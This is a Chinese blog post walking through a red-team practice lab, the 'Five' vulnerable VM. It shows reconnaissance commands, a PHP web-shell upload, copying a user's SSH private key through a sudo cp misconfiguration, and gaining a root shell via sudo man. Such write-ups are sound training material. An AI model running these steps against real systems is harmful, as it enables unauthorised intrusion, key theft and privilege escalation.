freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队专项·Five
2023-06-13 21:50:16
所属地 重庆

前言:

作为自己的专项练习,力求培养渗透思维,熟悉工具使用,愿与诸君共勉之


信息收集

nmap探测目标IP
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
Nmap scan report for 192.168.56.101
Host is up (0.00064s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

nmap针对目标IP开放端口进行更加详细的扫描
nmap -sT -sC -sV -A -p80 192.168.56.101
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.14.2
| http-robots.txt: 1 disallowed entry 
|_/admin

以上我们就发现了这么多的东西,现在我们的突破口就只有http服务了

HTTP服务渗透

"老三套",爆目录,爆子域名(这里没有绑定),web应用程序探测(中间件探测)

来吧,先是目录爆破

目录爆破

dirsearch -u http://192.168.56.101/
[20:16:12] 301 -  185B  - /admin  ->  http://192.168.56.101/admin/          
[20:16:12] 200 -    4KB - /admin/                                           
[20:16:12] 200 -    4KB - /admin/?/login                                    
[20:16:13] 200 -    4KB - /admin/index.html                                 
[20:16:27] 200 -   17B  - /robots.txt                                       
[20:16:30] 200 -  346B  - /upload.html                                      
[20:16:30] 200 -   48B  - /upload.php                                       
[20:16:30] 301 -  185B  - /uploads  ->  http://192.168.56.101/uploads/      
[20:16:30] 403 -  571B  - /uploads/ 

有信息,后面再看,接下来

web应用程序探测(中间件探测)

whatweb http://192.168.56.101 
http://192.168.56.101 [403 Forbidden] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[192.168.56.101], Title[403 Forbidden], nginx[1.14.2]

敏感目录

/admin
/admin/?/login
/robots.txt
/upload.php
/uploads/

挨着看看

/admin,一个登录页面

/robots.txt,admin路径

/upload.php

/uploads/,上传文件的存放位置


/upload.html,文件上传功能点

大概有思路了。进行文件上传getshell

文件上传getshell(突破口)

因为前面已经发现后端为php,我们搞php的shell

上传尝试

1686659981_6488638d8ad44907c3645.png!small?1686659982165

可以发现成功上传到目录uploads中,测试是否可用

1686660074_648863ea2b07eeca15915.png!small?1686660074759

无法成功执行命令,

试试修改上传目录

成功执行命令,上蚁剑进行伪终端操作

在home目录下发现一个用户为melisa下存在user.txt,然后又发现这个用户使用sudo执行/bin/cp命令时不用密码,那就好玩了

1686660730_6488667aeb7ae48d3105a.png!small?1686660731197


提升用户权限

我使用cp命令将user.txt复制到tmp下,但是查看不了

1686661303_648868b7470e268721af1.png!small?1686661303464

原因还是在cat查看命令时还是使用www-data的用户权限,而不是melisa用户的

1686661435_6488693b3dd49e217cf86.png!small?1686661435418

最后查看大佬的wp发现在网络连接状态那里内网的4444端口开了个ssh服务

1686661702_64886a46500cc6706cfb6.png!small?1686661702493

1686661709_64886a4d0651427cb5a4c.png!small?1686661709171

现在由于我们可以以melissa 的身份运行cp命令,我们可以尝试复制她的私钥以通过 SSH 以她的身份连接

cd /tmp /tmp目录下有读写权限,这样才能对文件进行操作
touch id_rsa 生成一个(空)文件,这样当我们复制私钥时,它会保留创建文件的权限而不是原始文件,这将继承其权限并且我们将没有读取能力
sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa 从Melisa的个人目录中复制私钥
chmod 600 id_rsa 适当的权限给私钥,只有我们可以读写(如果没有,连接时会报错)
ssh-keygen -y -f id_rsa > authorized_keys 我们从私钥生成公钥,因为众所周知公钥将用于其他服务
sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys 我们将公钥放在melissa的主目录中,这样她就可以检查我们的私钥是否匹配

ssh -i id_rsa melisa@localhost -p 4444

1686663261_6488705d991f66fbb55ce.png!small?1686663261920

然后打印user.txt即可

提升为root权限

先看一下sudo的东西

sudo -l
Matching Defaults entries for melisa on five:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User melisa may run the following commands on five:
    (ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm,
        /bin/clear

按照gtfobins中的说法,man比较简单

sudo /bin/man man
!/bin/bash

但是,默认编辑器不允许我们插入命令来启动 bash。这样,如果我们查看 man 手册,我们会发现以下内容:

1686663929_648872f91b84b88840608.png!small?1686663929573

清楚这一点后,我们将默认分页器更改为less,现在我们可以执行 bash:

sudo /bin/man -P less id
!/bin/bash

拿/root下的flag即可

参考文章

https://gtfobins.github.io/gtfobins/man/#sudo

# 漏洞 # 渗透测试 # web安全 # 渗透测试工具 # 红队
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录